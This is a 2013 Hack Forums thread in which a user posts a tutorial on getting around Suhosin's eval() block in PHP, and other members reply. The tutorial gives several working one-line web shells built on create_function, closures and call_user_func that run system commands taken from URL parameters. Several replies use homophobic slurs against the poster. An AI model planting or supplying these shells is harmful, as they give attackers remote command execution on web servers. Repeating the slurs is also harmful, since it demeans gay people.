+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [Tutorial] Circumventing Suhosin by using eval() alternatives. (/showthread.php?tid=3591942)
Pages: Pages
1
2
[Tutorial] Circumventing Suhosin by using eval() alternatives. - Phizo - Jul 2, 2013
Greetings.
This isn't a tutorial on how to circumvent Suhosin completely, but rather a few things to try on a terribly configured implementation of Suhosin.
I've tested and ensured the below methods work. You can see my post confirming it here.
According to Suhosin's configuration documentation, suhosin.executor.disable_eval is set to "Off" by default. You would be lucky to come across a box configured like that, though.
What I'm about to provide shouldn't be looked upon as a definitive list of methods to circumvent the restriction of eval(); I encourage you all to research and discover more methods.
By default, suhosin.executor.func.blacklist (and whitelist) is empty. For those of you who have the Suhosin extension or patch installed, I would advise you to take notice of this thread and apply changes to your configuration if necessary.
First up, which some of you are already aware of, is using create_function() to create lambda-style functions.
It's supported in PHP versions 4 through to 4.0.1, as well as 5 and above.
PHP Code
<?php
$eval = create_function(null, $_GET['cmd']); // ?cmd=system('id');
$eval(); // function () { system('id'); } would be how it works behind the scenes, I would imagine.
// If you want to look like a really cool leet hacker in front of your buddies:
<?=($x=create_function(null,$_GET[a]))?$x():0;?>Whilst create_function() is great and all, it is easily able to be appended to Suhosin's function blacklist.
You can create your own lambda-style function without the need of create_function()'s helping hand. I'm actually unsure how this would be restricted by Suhosin without causing issues to non-malicious PHP code.
PHP Code
<?php
$eval = function ($func, $arg) { $func($arg); }; // Append more arguments if necessary.
$eval('system', 'id'); // $eval($_GET['func'], $_GET['arg']); -> ?func=system&arg=id
// Hey! Look at me! I'm cool!
// Okay, it does have purposes to write it like this; submitting HTTP requests through a raw TCP socket (Content-Length for PUT method, for example.):
<?=($x=function($a,$b){$a($b);})?$x($_GET[a],$_GET[b]):0;?>That's it for the lamba-style functions; we will now be moving onto callback functions. I'll be providing you with two.
call_user_func() was introduced in PHP version 4, and is still supported in version 5 and above.
call_user_func_array() was also introduced in PHP version 4. It's only supported until version 4.0.4, but makes a comeback in version 5.
PHP Code
<?php
// More than likely will have the other blacklisted if the other is, but you never know!
$eval = call_user_func($_GET['func'], $_GET['arg']); // ?func=system&arg=id ($mixedvar; can append multiple arguments for other functions.)
$eval; // Returns the return value of the callback - use echo for functions that only return.
$eval = call_user_func_array($_GET['func'], array($_GET['arg'])); // ?func=system&arg=id (can append multiple arguments within the array.)
$eval; // Returns the return value of the callback - use echo for functions that only return.
// I is big, bad black-hat hacker. ◖(◣☩◢)◗
<?=($x=call_user_func($_GET[a],$_GET[b]))?$x:0?>
<?=($x=call_user_func_array($_GET[a],array($_GET[b])))?$x:0?>That's all I've discovered and played with for the past couple of hours.
It honestly took me longer to write this than come up with them. I'm hoping people will look themselves and discover other ways of doing it. So, don't be lazy and go look yourself.
I have no doubt that there are many more methods, but it's getting too late here to continue for today.
Oh, and if any of you suggest preg_replace()'s /e modified, I will personally slap you in the face.
* - SoLong - Jul 2, 2013
Or you could just use Fuhosin, how about that?
A+ tutorial as always, OP is gay as fuck too.
* - TheGrayAviator - Jul 2, 2013
(Jul 2, 2013 05:46 AM)puli Wrote: OP is gay as fuck too.
I don't know what you mean by that. But I can certainly assure, that's one hell of a tutorial. Great work buddy, keep it up.
* - SoLong - Jul 2, 2013
(Jul 2, 2013 05:49 AM)Greyhat.Infiltrator Wrote: I don't know what you mean by that. But I can certainly assure, that's one hell of a tutorial. Great work buddy, keep it up.
I'm trying to say Phizo is homosexually oriented.
* - engrαze - Jul 2, 2013
I see Phizo remains a faggot. A cool faggot, though. Like Freddie Mercury.
Great guide.
* - Phizo - Jul 2, 2013
(Jul 2, 2013 05:46 AM)puli Wrote: Or you could just use Fuhosin, how about that?
A+ tutorial as always, OP is gay as fuck too.
Sure, let's not try to be unique and learn ourselves; let's use someone else's shell.
You're gay.
Thanks for the replies, everyone.
Except for puli.
Spoiler (Click to View)
* - Suved - Jul 3, 2013
Nice tuorial
Thanks
anyone tested it?if yes post your result.
* - deiski - Jul 4, 2013
Very nice as always, thread design looks great.
* - Phizo - Jul 4, 2013
(Jul 4, 2013 02:36 AM)๖ۣۜCyan Wrote: Very nice as always, thread design looks great.
Thank you.
192 views and 7 replies. Why am I not surprised?
* - cheatson - Jul 5, 2013
Interesting tutorial, thanks for the share. I don't have it installed either, but have you considered preg_replace() with the e modifier tho?
* - Zixem - Jul 5, 2013
PHP Code
<?php
// I is big, bad black-hat hacker. ◖(◣☩◢)◗
great thread Phizy :3 good to see that you're still active.
(Jul 5, 2013 04:16 AM)cheatson Wrote: zixem is my true lovefinally, you bought a leet membership.
* - cheatson - Jul 5, 2013
(Jul 5, 2013 09:53 AM)Zixem Wrote: finally, you bought a leet membership.lol courtesy of apple jack 🎉
* - Phizo - Jul 5, 2013
(Jul 5, 2013 04:16 AM)cheatson Wrote: have you considered preg_replace() with the e modifier tho?
Imagine me smiling psychopathically.
(Jul 5, 2013 09:53 AM)Zixem Wrote:someone, help me breath.PHP Code
<?php
// I is big, bad black-hat hacker. ◖(◣☩◢)◗
great thread Phizy :3 good to see that you're still active.
I'm glad I'm not the only one that giggles at my own lame humor.
Yes, I'm still breathing. ^~^
* - Illicit - Jul 7, 2013
Seems like a good tutorial, Im surprised the programmers didnt realize they had unsanitized the variables.
Anyway thanks, nice find .
* - Phizo - Jul 7, 2013
(Jul 7, 2013 03:37 AM)Illicit Wrote: Seems like a good tutorial, Im surprised the programmers didnt realize they had sanitized the variables.
Anyway thanks, nice find .
I'm unsure what that your statement is implying, as this has nothing to do with variables being sanitized.
Thank you for your kind words.